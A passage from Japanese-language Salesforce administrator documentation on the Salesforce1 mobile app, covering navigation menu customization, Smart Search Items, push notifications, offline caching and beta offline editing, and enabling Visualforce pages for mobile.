のナビゲーションメニューはほとんどの側面をカスタマイズできます。

Salesforce1 ヘッダーの アイコンでナビゲーションメニューが開きます。

デフォルトのナビゲーションメニューがユーザのニーズを満たさない場合、簡単にカスタマイズできます。
[設定] から、[クイック検索]ボックスに「ナビゲーション」と入力し、[Salesforce1ナビゲーション]を選択しま
す。
メニューには、組織の設定に応じて次のような項目が表示されます。

説明メニュー項目

ユーザの保留中の承認のリストを表示します。ユーザは承認項目をタップして、
Salesforce1からその項目を承認または拒否できます。iOS 用のSalesforce1 ダウンロー

承認申請

ド可能アプリケーションおよび Salesforce1 モバイルブラウザアプリケーションで
サポートされています。

組織が Salesforce1 ナビゲーションメニューでこのアプリケーションを有効にして
いる場合に表示されます。

キャンバスアプリケーショ
ン
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説明メニュー項目

ユーザのメインフィード。Chatter を有効にしている組織に表示されます。Chatter

エディションおよびユーザ権限によって使用可能かどうかが決まります。この項
目をナビゲーションメニューに追加しない場合、代わりにダッシュボードが [ス

ダッシュボード

マート検索項目] のセットに自動的に追加され、[ダッシュボード] 項目を [最近] セ
クションから使用できるようになります。

リストに、ユーザが所有する行動、ユーザ自身が作成した行動、およびユーザま
たはユーザのグループが招待された行動が表示されます。

行動

売上予測アプリケーション (営業チームの各メンバーが売上予測データを追跡し
て、目標に対する進捗状況を監視するための便利なツール) が表示されます。
Salesforce1 for iOS ダウンロード可能アプリケーションでのみ使用できます。

売上予測

メモ: 組織で [コラボレーション売上予測] を有効にしておく必要がありま
す。組織でカスタマイザブル売上予測を使用している場合、[売上予測] 項
目をナビゲーションメニューに追加することはできません。

Chatterを有効にしている組織に表示されます。この項目をナビゲーションメニュー
に追加しない場合、代わりにグループが [スマート検索項目] のセットに自動的に
追加され、[グループ] 項目を [最近] セクションから使用できるようになります。

グループ

Salesforce1ナビゲーションメニューには、Lightningコンポーネントタブが関連付け
られているカスタム Lightning コンポーネントのみが表示されます。

Lightningコンポーネントタ
ブ

カスタムアプリケーションページ。Lightning ページ

ニュースアプリケーションが表示され、ユーザの取引先、取引先責任者、リー
ド、および商談についてのニュースや他のインサイトを 1 か所で把握できます。

ニュース

メモアプリケーションが表示されます。この項目をナビゲーションメニューに追
加しない場合、代わりにメモが [スマート検索項目] のセットに自動的に追加さ
れ、[メモ] 項目を [最近] セクションから使用できるようになります。

メモ

ユーザが一時停止したフローインタビューのリストが表示されます。インタビュー
は、フローの実行中のインスタンスです。ユーザは、インタビューをタップし

一時停止中のフローイン
タビュー

て、Salesforce1 内から再開または削除できます。Salesforce1 モバイルブラウザアプ
リケーションでのみ使用できます。

Chatterを有効にしている組織に表示されます。この項目をナビゲーションメニュー
に追加しない場合、代わりにプロファイルが [スマート検索項目] のセットに自動
的に追加され、[人] 項目を [最近] セクションから使用できるようになります。

人

エディションおよびユーザ権限によって使用可能かどうかが決まります。この項
目をナビゲーションメニューに追加しない場合、代わりにレポートが [スマート

レポート

検索項目] のセットに自動的に追加され、[レポート] 項目を [最近] セクションから
使用できるようになります。
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説明メニュー項目

メニューの [最近] セクションに標準およびカスタムのSalesforceオブジェクトを追
加します。また、ユーザが最近アクセスした一連のオブジェクトを [最近] セク

スマート検索項目

ションに追加したり、[さらに表示] 項目を追加したりします。こうした動作に
よって、ユーザが自身に使用権限があり、Salesforce1 でサポートされているすべ
てのオブジェクトにアクセスできるようになります。この項目をナビゲーション
メニューに追加しない場合、ユーザはナビゲーションメニューのオブジェクトに
アクセスできません。

メモ:  Android 用の Salesforce1 ダウンロード可能アプリケーションでユーザが
検索結果を得るには、[スマート検索項目] が必要です。このオプションが
ナビゲーションメニューから除かれている場合は、Salesforce1  for iOS ダウン
ロード可能アプリケーションおよびSalesforce1 モバイルブラウザアプリケー
ションのユーザがレコードを検索できます。

ユーザに最近使ったオブジェクトの履歴がまだない間は、[最近] セクションに一
連のデフォルトオブジェクトが表示されます。Salesforce1 と Salesforce フルサイト
のどちらも、ユーザが常時操作するオブジェクトが [最近] セクションに表示され
るまでに最大 15 日かかることがあります。[最近] セクションにオブジェクトがす
ぐに表示されるようにするには、フルサイトの検索結果画面からそれらのオブ
ジェクトを固定します。

ユーザの未完了の ToDo、完了した ToDo、および代理 ToDo のリストです。ToDo

モバイルカレンダーの行動を関連する Salesforce の ToDo、取引先、および取引先
責任者と統合することで、1 日のスケジュールの計画や管理をサポートするアプ

Today

リケーションです。このアプリケーションでは、ユーザがカンファレンスコール
にすぐに参加したり、行動に関するメモをすばやく記録したりすることもできま
す。Salesforce1 ダウンロード可能アプリケーションでのみ使用できます。

Salesforce1では、[Salesforce モバイルアプリケーションおよび Lightning ペー
ジでの使用が可能]チェックボックスがオンになっている Visualforceページのみが
表示されます。

Visualforce ページのタブ

注意事項
• ユーザの種別ごとに異なるメニューを設定することはできません。
• 標準オブジェクトおよびカスタムオブジェクト、Visualforce ページ、Chatter フィード、人、グループなど、

Salesforce でタブ表示される内容は、Salesforce1 メニューでユーザのプロファイル設定に基づいて表示されま
す。たとえば、[グループ] タブが [タブを隠す] に設定されているプロファイルにユーザが割り当てられてい
る場合、システム管理者が [グループ] をメニューに組み込んでいても、そのユーザのSalesforce1には [グルー
プ] メニュー項目が表示されません。
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• コミュニティのナビゲーションメニューは、ナビゲーションメニューの設定ページを使用して制御されま
せん。代わりに、コミュニティの管理設定にある [タブ & ページ] で指定したタブで、コミュニティのナビ
ゲーションメニューの内容を決定します。

関連トピック:

Salesforce1 ナビゲーションメニューのカスタマイズ
Salesforce1 ナビゲーションメニューに関する注意
Salesforce1 モバイルアプリケーションの Visualforce ページの有効化

Salesforce1 ナビゲーションメニューのカスタマイズ

エディション

Salesforce1 の設定を使用可
能なエディション:
Salesforce Classic と
Lightning Experience の両方

Lightning Experience で使用
可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Salesforce Classic で使用可
能なエディション:
Database.com Edition を除
くすべてのエディション

ユーザ権限

Salesforce1ナビゲーション
メニューをカスタマイズ
する
• 「アプリケーションの

カスタマイズ」

メニュー項目、アプリケーション、Visualforce ページ、または Lightning ページを
選択してSalesforce1ナビゲーションメニューに表示することで、ユーザのモバイ
ル Salesforce の操作性をカスタマイズします。

メモ: Visualforceページ、Lightning ページ、または Lightningコンポーネントを
Salesforce1ナビゲーションメニューに含める前に、それらのタブを作成しま
す。[設定] から、[クイック検索]ボックスに「タブ」と入力し、[タブ]を選
択します。

段階的な手順: Salesforce1 ナビゲーションメニューをカスタマイズする
1. [設定] から、[クイック検索] ボックスに「ナビゲーション」と入力し、

[Salesforce1 ナビゲーション] を選択します。
2. [選択可能] リストで項目を選択し、[追加] をクリックします。
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3. 項目を選択し、[上へ] または [下へ] をクリックして並び替えます。
[選択済み] リストに項目が配置される順番と同じ順番で、ナビゲーションメニューにそれらの項目が表示
されます。

メモ: [選択済み] リストの最初の項目が、ユーザの Salesforce1 のランディングページに表示されます。

4. [保存] をクリックします。
保存すると、ナビゲーションメニュー項目とそれらの順番が Salesforce1 に反映されます。変更を表示するため
に、更新する必要がある場合があります。

ヒント: メニュー項目を編成するときは、ユーザが頻繁に使用する項目を上部に配置します。[スマート
検索項目] の要素は 8 つ以上のメニュー項目から成る 1 つのセットに拡張できます。このセットをメニュー
の上部付近に配置すると、他の要素がスクロールポイントの下に押し下げられることがあります。[スマー
ト検索項目] の要素の下に配置したものはすべて、ナビゲーションメニューの [アプリケーション] セクショ
ンに表示されます。

関連トピック:

Salesforce1 モバイルアプリケーションのナビゲーションメニュー
Salesforce1 ナビゲーションメニューに関する注意
Salesforce1 モバイルアプリケーションの Visualforce ページの有効化
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Salesforce1 ナビゲーションメニューに関する注意

エディション

Salesforce1 の設定を使用可
能なエディション:
Salesforce Classic と
Lightning Experience の両方

Lightning Experience で使用
可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Salesforce Classic で使用可
能なエディション:
Database.com Edition を除
くすべてのエディション

一部のオブジェクトは、最近アクセスしていても、Salesforce1 ナビゲーションメ
ニューの [最近] セクションから除外されます。
• ToDo と行動
• 人、グループ、メモ、ダッシュボード、およびレポート (これらの項目がナ

ビゲーションメニューに直接追加された場合)

• オブジェクトのホームページのみに表示され、ナビゲーションメニューには
表示されないリストビュー

• Salesforceフルサイトにタブがないオブジェクトを含む、Salesforce1で使用でき
ないオブジェクト

ダッシュボード、レポート、メモ、グループ、人のメニュー項目につい
て
[ダッシュボード]、[レポート]、[メモ]、[グループ]、または [人] 項目を Salesforce1

ナビゲーションメニューの [選択済み] リストに追加する場合、これらの項目は、
[ToDo]、[今日]、その他の個別メニュー項目と同様に、指定した順序で表示され
ます。
一方、これらの項目をナビゲーションメニューに追加していない場合、これら
の項目はオブジェクトのスマート検索項目セットに自動的に組み込まれ、ナビ
ゲーションメニューの [最近] セクションに表示されます。

オブジェクトを [最近] セクションに固定
ユーザは、Salesforce1 ナビゲーションメニューの [最近] セクションに表示されるオブジェクトをカスタマイズ
できます。オブジェクトをフルサイトで検索する場合は、オブジェクトの名前の上にマウスを置いて、 を
クリックすると、そのオブジェクトが検索結果の上部に固定されます。フルサイトに固定されたオブジェクト
の順序によって、ナビゲーションメニューの [最近] セクションの上部に固定されるオブジェクトの順序が決ま
ります。ただし、この方法でオブジェクトを固定すると、[最近] セクションの固定されていない残りのオブ
ジェクトが [その他] 要素にドロップされる可能性があります。

Salesforce1 のスマート検索項目および検索結果
スマート検索項目を使用すると、Salesforce の標準オブジェクトとカスタムオブジェクトがナビゲーションメ
ニューの [最近] セクションに追加されます。ナビゲーションメニューからスマート検索項目を削除すると、
Salesforce1 ユーザはメニューからオブジェクト (オブジェクトのホームページとリストビューを含む) にアクセ
スできなくなります。
スマート検索項目を削除すると、Salesforce1 の検索オプションにも影響を及ぼします。オブジェクトのホーム
ページが使用できないため、オブジェクト固有の検索を実行できなくなります。グローバル検索への影響は、
Salesforce1 アプリケーションによって異なります。
• iOS 用の Salesforce1 ダウンロード可能アプリケーションおよび Salesforce1 モバイルブラウザアプリケーション

では、ユーザはグローバル検索結果からレコードを見つけてアクセスできます。
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• Android 用のSalesforce1 ダウンロード可能アプリケーションでは、グローバル検索が機能するにはスマート検
索項目が必要です。スマート検索項目がナビゲーションメニューから除外されると、Android ユーザはグロー
バル検索を使用してレコードを見つけることができません。

関連トピック:

Salesforce1 モバイルアプリケーションのナビゲーションメニュー
Salesforce1 ナビゲーションメニューのカスタマイズ

Salesforce1 モバイルアプリケーション通知

エディション

Salesforce1モバイルアプリ
ケーションを使用可能な
エディション:
Database.com Edition を除
くすべてのエディション

通知により、Salesforce で特定のイベントが発生した場合にユーザに知らせるこ
とができます。たとえば、ユーザが承認申請を受信した場合やChatterでメンショ
ンされた場合にユーザに通知します。
Salesforce1 ユーザには次の種別の通知が表示される可能性があります。
• アプリケーション内通知は、ユーザが Salesforce1 を使用しているときに関連

活動を常にユーザに知らせます。 をタップすると、過去 90 日以内に受信
した最新の 20 件の通知を参照できます。
組織でSalesforce Communitiesを有効にすると、ユーザに各自がメンバーになっ
ているすべてのコミュニティからの通知が表示されます。通知がどのコミュニティから発信されたものか
をユーザが識別しやすいように、タイムスタンプの後にコミュニティ名がリスト表示されます。

• 転送通知とは、ユーザによってインストールされたSalesforce1 ダウンロード可能アプリケーションが使用さ
れていないときに、モバイルデバイスに表示されるアラートです。これらのアラートは、デバイスの種類
に応じて、テキスト、アイコン、音で構成されます。システム管理者が組織に対して転送通知を有効にす
ると、各ユーザは自分のデバイスに転送通知を受信するかどうかを選択できます。

転送通知に完全なコンテンツを含める

メモ: 一部の通知には、Salesforce でユーザが入力したテキストが含まれます。適切な認証のないサード
パーティサービスを通じて機密情報が配信されないようにするため、転送通知の完全なコンテンツを有
効にしない限り、転送通知には最小限の情報 (ユーザ名など) のみが含まれます。
たとえば、アプリケーション内通知が「Allison Wheeler さんがあなたにメンションしました: @John Smith さ
ん、お知らせです。Acme 取引先の新しい営業戦略です。」であるとします。デフォルトでは、同等の転
送通知は、「Allison Wheeler さんがあなたにメンションしました」となります。ただし、転送通知の完全な
コンテンツを有効にした場合は、アプリケーション内通知と同じ (完全な) コンテンツがこの転送通知に含
まれます。

関連トピック:

Salesforce1 モバイルアプリケーション通知の有効化
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Salesforce1 モバイルアプリケーション通知の有効化

エディション

Salesforce1 の設定を使用可
能なエディション:
Salesforce Classic と
Lightning Experience の両方

Lightning Experience で使用
可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Salesforce Classic で使用可
能なエディション:
Database.com Edition を除
くすべてのエディション

ユーザ権限

通知設定を参照する
• 「設定・定義を参照す

る」

通知設定を変更する
• 「アプリケーションの

カスタマイズ」

組織のすべてのユーザが Salesforceのイベント (承認申請を受信した場合や Chatter

でメンションされた場合など) に関するモバイル通知を受信できるようにしま
す。
1. [設定] から、[クイック検索] ボックスに「Salesforce1 通知」と入力し、

[Salesforce1 通知] を選択します。
2. Salesforce1 ユーザが受信する通知を選択します。
3. 会社で許可されている場合は、[転送通知に完全なコンテンツを含める] を選

択します。
4. [保存] をクリックします。

[転送通知に完全なコンテンツを含める] オプションを選択すると、ポップアッ
プに契約条件が表示されます。[OK]をクリックすると、会社に代わって契約
条件に同意することになります。

ユーザはメール通知として承認申請を受信している場合にのみ、Salesforce1 通知
で承認申請を受信できます。自分と自分のユーザは [承認申請メールを受信]

ユーザ項目を変更して、この設定を指定できます。

関連トピック:

Salesforce1 モバイルアプリケーション通知

Salesforce1 モバイルアプリケーションをオフラインで使
用
モバイル接続ができないときでも、モバイルユーザの生産性を保つことができ
ます。Salesforce1 でキャッシュとオフライン編集を有効にすると、地下鉄での通
勤、航空規制、携帯電波の不調、受信状況の悪いビルの谷間などに遮られるこ
となく、作業を継続できます。オフラインアクセスはSalesforce1 ダウンロード可
能アプリケーションで使用できます。ベータバージョンのオフライン編集では、バージョン 10.0 の Salesforce1

for Android ダウンロード可能アプリケーションまたは Salesforce1 for iOS ダウンロード可能アプリケーションが必
要です。
[設定] からSalesforce1キャッシュとオフライン編集を管理するには、[クイック検索]ボックスに「Salesforce1」
と入力し、[Salesforce1 オフライン] を選択します。

オフライン中の Salesforce1 のデータアクセス
Salesforce1のキャッシュを有効にすると、Salesforce1 ダウンロード可能アプリケーションユーザはオフライン
での作業中、またはモバイルアプリケーションが Salesforce に接続できないときに、重要なデータを表示で
きます。Salesforce1では、ユーザが最近アクセスしたレコードのセットがキャッシュされるので、接続しな
くても参照ができます。また、Salesforce1セッション中にユーザがアクセスするデータの多くもキャッシュ
に追加されます。キャッシュデータは暗号化され、安全な永続データストアに保存されます。
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オフライン中の Salesforce1 でレコードの作成、編集、および削除 (ベータ)

オフライン編集を使用すれば、Salesforce1 ダウンロード可能アプリケーションユーザは、ネットワークに接
続しなくても Salesforce のデータを最新に保つことができます。オフライン中にキャッシュされたオブジェ
クトのレコードを作成し、キャッシュされたレコードの編集や削除ができます。すべてのオフライン中の
変更を一元的に追跡できます。また、Salesforce1がオンラインに戻ると、アプリケーションは自動的に待機
中の変更を Salesforce に同期し、解決する必要のある競合がある場合は、ユーザに警告します。ベータバー
ジョンのオフライン編集には、バージョン 10.0 の Salesforce1 for Android または Salesforce1 for iOS が必要です。
Salesforce1 がオフライン時に使用できるデータおよび UI 要素
Salesforce1のキャッシュとオフライン編集を使用して、Salesforce1 ダウンロード可能アプリケーションユーザ
はアクセス頻度の高いオブジェクトとレコードの多くをオフライン中に利用できます。オフラインで使用
できるデータと Salesforce1 ユーザインターフェース要素を次のリストに示します。
Salesforce1 のオフラインアクセスを有効化
数回のクリックで、Salesforce1 ユーザはモバイル接続の不安定さから開放されます。2 つのレベルのオフラ
インアクセスを有効にできます。1 つはアクセス頻度の高いレコードをキャッシュするもので、オフライン
中のデータの参照が可能となります。もう 1 つはオフライン編集で、オフライン中にレコードの作成、編
集、および削除が可能となります。オフラインアクセスはSalesforce1 ダウンロード可能アプリケーションで
のみ使用できます。ベータバージョンのオフライン編集には、バージョン 10.0 の Salesforce1 for Android また
は Salesforce1 for iOS が必要です。

関連トピック:

オフラインアクセス: Salesforce1 で使用できない機能とその新機能

オフライン中の Salesforce1 のデータアクセス
Salesforce1 のキャッシュを有効にすると、Salesforce1 ダウンロード可能アプリケーションユーザはオフラインで
の作業中、またはモバイルアプリケーションが Salesforce に接続できないときに、重要なデータを表示できま
す。Salesforce1 では、ユーザが最近アクセスしたレコードのセットがキャッシュされるので、接続しなくても
参照ができます。また、Salesforce1 セッション中にユーザがアクセスするデータの多くもキャッシュに追加さ
れます。キャッシュデータは暗号化され、安全な永続データストアに保存されます。
Salesforce1 ダウンロード可能アプリケーションのいずれかが組織に初めてインストールされるときに、Salesforce1

のキャッシュは有効になります。[設定] でこの設定を管理するには、[クイック検索] ボックスに
「Salesforce1」と入力し、[Salesforce1 オフライン] を選択します。
ユーザのキャッシュの内容で、モバイルデバイスがオフラインの場合にアクセスできるデータが決まります。
キャッシュがどのように最初に作成され、Salesforce1 セッション中に更新されるかについて説明します。

メモ: Salesforce1 セッションは、アプリケーションのログインからログアウトまでの時間です。他のアプ
リケーションに切り替えて、現在のアプリケーションがバックグラウンドに移行しても、セッションは
終了しません。

• ユーザがSalesforce1にログインしたとき、キャッシュは空です。キャッシュが空の状態で、ユーザのデバイ
スがオフラインになると、Salesforce データは使用できません。

• 最近アクセスしたレコードのデフォルトセットをキャッシュにすばやく入力できます。Salesforce1ナビゲー
ションメニューから、[設定] > [オフラインキャッシュ] > [今すぐキャッシュ] を選択します。

1239

Salesforce1 をユーザの手にSalesforce 組織の設定および管理



ヒント: ユーザは、Salesforce1 にログインするたびに、このアクションを実行して、オフラインになっ
たときに有意義なデータセットが使用可能になるようにすることをお勧めします。
ユーザのレコードのサイズと複雑さによりますが、キャッシュには数秒から数分かかることがありま
す。キャッシュが完全に更新される前にオフラインになると、使用できるはずのレコードの一部が使
用できません。

[今すぐキャッシュ] オプションでは、ユーザの Salesforce1 ナビゲーションメニューの [最近] セクションに表
示される最初の 5 個のオブジェクトで最近アクセスしたレコードと、最近の ToDo およびダッシュボードが
収集されます。最近アクセスしたレコードは、Salesforce1 とフル Salesforce サイト (Salesforce Classic、Lightning

Experience など) でのユーザの活動で決まります。
• Salesforce1セッション中、ユーザがアクセスする他のレコードの多くもキャッシュに追加されます。(すべて

の Salesforceデータが使用できるわけではありません。「Salesforce1 がオフライン時に使用可能なデータおよ
び UI 要素」を参照してください。)

• デフォルトの最近アクセスしたレコードセットは、Salesforce1とフルサイトでの作業に伴い更新される必要
があります。Salesforce1 から (ログアウトせずに) 他のアプリケーションに切り替えてキャッシュの経過時間
が 1 時間を超えると、キャッシュは自動的に更新されて、上位 5 個のオブジェクトの最近の ToDo、ダッシュ
ボード、およびレコードの最新セットが取得されます。
[今すぐキャッシュ] オプションを使用すると、キャッシュをいつでも手動で更新することもできます。オ
フラインになることが予想され、事前にキャッシュに追加する必要のあるレコードにフルサイトで最近ア
クセスした場合は、このオプションを使用することをお勧めします。

• レコードはユーザのキャッシュに 30 日間保持されます。同じレコードにアクセスするたびに、クロックは
リセットされます。30 日間アクセスがなかったレコードは自動的にキャッシュから削除され、ユーザがレ
コードに再度アクセスするまでオフラインでは使用できません。
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• Salesforce1からログアウトすると、キャッシュからすべてのデータが削除されます。次回ユーザがログイン
すると、キャッシュの生成プロセスが最初から開始されます。

関連トピック:

Salesforce1 がオフライン時に使用できるデータおよび UI 要素
Salesforce1 のオフラインアクセスを有効化
オフラインアクセス: Salesforce1 で使用できない機能とその新機能

オフライン中の Salesforce1 でレコードの作成、編集、および削除 (ベータ)

オフライン編集を使用すれば、Salesforce1 ダウンロード可能アプリケーションユーザは、ネットワークに接続
しなくてもSalesforceのデータを最新に保つことができます。オフライン中にキャッシュされたオブジェクトの
レコードを作成し、キャッシュされたレコードの編集や削除ができます。すべてのオフライン中の変更を一元
的に追跡できます。また、Salesforce1 がオンラインに戻ると、アプリケーションは自動的に待機中の変更を
Salesforceに同期し、解決する必要のある競合がある場合は、ユーザに警告します。ベータバージョンのオフラ
イン編集には、バージョン 10.0 の Salesforce1 for Android または Salesforce1 for iOS が必要です。

メモ: 今回のリリースには、ベータバージョンのオフライン編集が含まれています。機能の品質は高いで
すが、既知の制限があります。組織でこの機能を有効にするには、「Salesforce1 のオフラインアクセスを
有効化」を参照してください。オフライン編集は、Salesforceがドキュメント、プレスリリース、または公
式声明で正式リリースを発表しない限り、正式リリースされません。特定期間内の正式リリースあるい
はリリースの有無は保証できません。現在正式にリリースされている製品および機能に基づいて購入を
ご決定ください。オフライン編集に関するフィードバックや提案は、Success コミュニティの IdeaExchange

に投稿してください。
オフライン編集を有効にすると、次のことができます。
• オブジェクトのホームページで、[新規]ボタンを使用してレコードを作成する (ToDo の場合は [私の ToDo] リ

ストの [新規] ボタンを使用)。アクションバーの「新規レコード」アクション ([新規 ToDo] や [新規取引先責
任者]、または関連リストの [新規] など) は、オフラインでは機能しません。

• レコードのアクションバーで、[編集] アクションを使用してレコードの詳細を更新する。
• レコードのアクションバーで、[削除] アクションを使用してレコードを削除する。
オフライン編集で更新できるデータの完全なリストについては、「Salesforce1 がオフライン時に使用できるデー
タおよび UI 要素」を参照してください。
オフライン中の更新を追跡
オフライン中の変更はすべて [待機中の変更] ページで追跡できます。このページは、Salesforce1 ナビゲーショ
ンメニューから使用できます。
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オフライン中の更新の状況を表示
オフライン中の変更の状況を監視できるように、Salesforce1の [待機中の変更] ページ、オブジェクトホームペー
ジ、更新されたレコードの [特長] 領域にインジケータがあります。
•

: モバイルデバイスがオフラインになっているときに表示されます。デバイスがオンラインに戻ったと
きに同期する変更があることを示します。正常に同期されると、レコードは [待機中の変更] ページに表示
されなくなります。

•
: モバイルデバイスがオンラインに戻った場合に表示されます。ユーザが解決する必要があるデータの

競合があることを示します。
•

: モバイルデバイスがオンラインに戻った場合に表示されます。解決できないエラーが発生し、ユーザ
の変更が保存できないことを示します。

接続の回復時
ユーザのモバイル接続が回復すると、[待機中の変更] ページに表示されている変更は自動的に Salesforceと同期
されます。入力規則エラーがある場合や、別のユーザが同一レコードに競合する変更を行った場合など、ユー
ザの対応が必要な同期の問題がある場合、Salesforce1 からアラートがでます。
同期の問題を解決するには、ポップアップアラートメッセージを参照するか、Salesforce1 ナビゲーションメ
ニューで [待機中の変更] を選択し、影響があるレコードをタップします。Salesforce1 に解決が必要な問題が強
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調表示されます。必要な修正が保存されると、待機中の変更の同期が再度試行されます。同期されていない変
更があるレコードはロックされるので、問題が解決されるまで、変更が追加されることはありません。
解決できないエラーはまれですが、一般的には他のだれかがレコードを削除したり、ユーザのオフライン中に
レコードのアクセス権限が変更された場合に発生します。解決できないエラーを含む待機中の変更については
保存できません。唯一できることは、[待機中の変更] ページで問題のあるレコードをタップして変更を破棄す
ることです。

関連トピック:

Salesforce1 がオフライン時に使用できるデータおよび UI 要素
Salesforce1 のオフラインアクセスを有効化
オフラインアクセス: Salesforce1 で使用できない機能とその新機能

Salesforce1 がオフライン時に使用できるデータおよび UI 要素
Salesforce1 のキャッシュとオフライン編集を使用して、Salesforce1 ダウンロード可能アプリケーションユーザは
アクセス頻度の高いオブジェクトとレコードの多くをオフライン中に利用できます。オフラインで使用できる
データと Salesforce1 ユーザインターフェース要素を次のリストに示します。

オフラインで作成、編集、または
削除可能 (ベータ)

オフラインで参照可能Salesforce データ/Salesforce1 要素

なし可ナビゲーションメニュー

編集アクション: 可
削除アクション: 可

可アクションバー

その他のアクション: 不可

なし現在のセッションでの以前の検索
結果

グローバル検索

不可現在のセッションで参照済みの場
合

リストビュー

可 (Salesforce1 ナビゲーションメ
ニューの [最近] セクションに表示さ

可 (Salesforce1 ナビゲーションメ
ニューの [最近] セクションに表示さ

最近のオブジェクトのレコード

れる最初の 5 個のオブジェクトれる最初の 5 個のオブジェクト
(ファイルを除く) で最近アクセスし
たレコード)

(ファイルを除く) で最近アクセスし
たレコード)

現在のセッションで参照済みの場
合

現在のセッションで参照済みの場
合

その他のオブジェクトのレコード

現在のセッションで参照済みの場
合

現在のセッションで参照済みの場
合

関連レコード
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オフラインで作成、編集、または
削除可能 (ベータ)

オフラインで参照可能Salesforce データ/Salesforce1 要素

不可現在のセッションで参照済みのメ
インページおよびモバイル行動レ
コード

Salesforce Today

作成: 不可
編集と削除: 現在のセッションで参
照済みの場合

現在のセッションで参照済みの場
合

Salesforce の行動

[私の ToDo] リストの最初のページで
最近アクセスした ToDo のみ
(簡単な [新規 ToDo] フォームが無効
になっている必要があります)

[私の ToDo] リストの最初のページで
最近アクセスした ToDo のみ

ToDo

作成: 可
編集: 現在のセッションで参照済み
の場合

現在のセッションで参照済みの場
合

メモ

削除: 不可

不可現在のセッションで参照済みの場
合

ファイル

不可最近アクセスしたグラフのみダッシュボード (拡張グラフ)

不可不可ダッシュボード (従来のグラフ)

不可現在のセッションで参照済みの場
合

フィード、グループ、人

なし現在のセッションで参照済みの場
合

通知

不可不可承認 (申請、承認、却下)

不可不可Visualforce ページ

不可不可キャンバスアプリケーション

不可不可Lightning ページ

なし可Salesforce1 の設定
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Salesforce1 セッションとは、アプリケーションへのログインからログアウトまでの時間です。Salesforce1 から他
のアプリケーションに切り替えても、ユーザがログアウトしない限りセッションは終了しません。

関連トピック:

オフラインアクセス: Salesforce1 で使用できない機能とその新機能

Salesforce1 のオフラインアクセスを有効化

エディション

Salesforce1 の設定を使用可
能なエディション:
Salesforce Classic と
Lightning Experience の両方

Lightning Experience で使用
可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Salesforce Classic で使用可
能なエディション:
Database.com Edition を除
くすべてのエディション

ユーザ権限

Salesforce1設定を参照する
• 「設定・定義を参照す

る」

Salesforce1設定を編集する
• 「アプリケーションの

カスタマイズ」

「すべてのデータの編
集」

数回のクリックで、Salesforce1 ユーザはモバイル接続の不安定さから開放されま
す。2 つのレベルのオフラインアクセスを有効にできます。1 つはアクセス頻度
の高いレコードをキャッシュするもので、オフライン中のデータの参照が可能
となります。もう 1 つはオフライン編集で、オフライン中にレコードの作成、
編集、および削除が可能となります。オフラインアクセスは Salesforce1 ダウン
ロード可能アプリケーションでのみ使用できます。ベータバージョンのオフラ
イン編集には、バージョン 10.0 の Salesforce1 for Android または Salesforce1 for iOS が
必要です。
1. [設定] から、[クイック検索] ボックスに「Salesforce1」と入力し、

[Salesforce1 オフライン] を選択します。
2. オフライン中にデータを参照するには、[Salesforce1 でキャッシュを有効

化] を選択します。
Salesforce1 ダウンロード可能アプリケーションのいずれかが組織に初めてイン
ストールされるときに、このオプションは自動的に有効になります。

3. オフライン中のレコードの更新を有効にするには、[Salesforce1 でオフラ
インの作成、編集、削除を有効化 (ベータ)] を選択します。
Salesforce1 のキャッシュが無効な場合、このオプションは使用できません。

4. [保存] をクリックします。

ヒント: [Salesforce1 でキャッシュを有効化]を有効にしておくことをお
勧めします。この設定を有効にすると、キャッシュされたデータをオフラ
インで使用できるだけでなく、以前アクセスしたレコードの表示が高速に
なり、全体のパフォーマンスも向上します。キャッシュを無効にすると、
Salesforce1 ダウンロード可能アプリケーションでは、セッションを維持する
ために必要な最小限のデータのみが保存されます。この場合、レコード詳
細とフィード項目が表示されるたびに、アプリケーションでは更新する必
要があるため、パフォーマンスに影響がある場合があります。

関連トピック:

Salesforce1 モバイルアプリケーションをオフラインで使用
オフラインアクセス: Salesforce1 で使用できない機能とその新機能
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Salesforce1 モバイルアプリケーションの Visualforce ページの有効化

エディション

Lightning Experience で使用
可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Salesforce Classic で使用可
能なエディション: Contact
Manager Edition、Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

ユーザ権限

Salesforce1 で Visualforce の
表示を有効にする
• 「アプリケーションの

カスタマイズ」

「Apex 開発」

Visualforceを使用してSalesforce1アプリケーションを拡張し、モバイルユーザが外
出中に必要な機能を提供できます。Visualforce ページを Salesforce1 に追加する前
に、ページをモバイルで使用できるか、あるいはモバイルアプリケーションで
は使用できないかを確認します。

ヒント: 既存のVisualforceページを Salesforce1で公開する前に、携帯電話やタ
ブレットでどのように表示され機能するようにするかを検討してください。
多くの場合、モバイルフォームファクタ専用の新しいページを作成する必
要があります。

VisualforceページがSalesforce1ユーザインターフェースの以下の領域に表示される
ようにするには、それらのページがモバイルで使用できるようになっている必
要があります。
• Visualforce タブを介したナビゲーションメニュー
• カスタムアクションを介したアクションバー
• レコードの関連情報ページ上のモバイルカード
• 上書きされた標準ボタン、またはカスタムボタンおよびカスタムリンク
• レコード詳細ページレイアウトへの埋め込み
• Lightning ページ
Salesforce1 で Visualforce ページを有効にする手順は、次のとおりです。
1. [設定] から、[クイック検索]ボックスに「Visualforce ページ」と入力し、

[Visualforce ページ] を選択します。
2. 目的の Visualforce ページの [編集] をクリックします。
3. [Salesforce モバイルアプリケーションおよび Lightning ページでの使用

が可能] を選択し、[保存] をクリックします。
Salesforce1 での Visualforce のサポートに関して次の点に注意してください。
• Visualforce ページよって上書きされた標準タブ、カスタムオブジェクトタブ、およびリストビューは、

Salesforce1 ではサポートされません。Visualforce ページはフルサイトのユーザに表示されますが、Salesforce1

ユーザには、オブジェクトのデフォルトのSalesforce1ページが表示されます。この制限は、オブジェクトに
対する Salesforce1 の操作性を維持するために設定されています。

• メタデータ API を使用して ApexPage オブジェクトの isAvailableInTouch項目を編集することによって、
Salesforce1 の Visualforce ページを有効にすることもできます。

• Visualforce タブ設定ページの [Salesforce Classic Mobile 準備完了] チェックボックスは、Salesforce

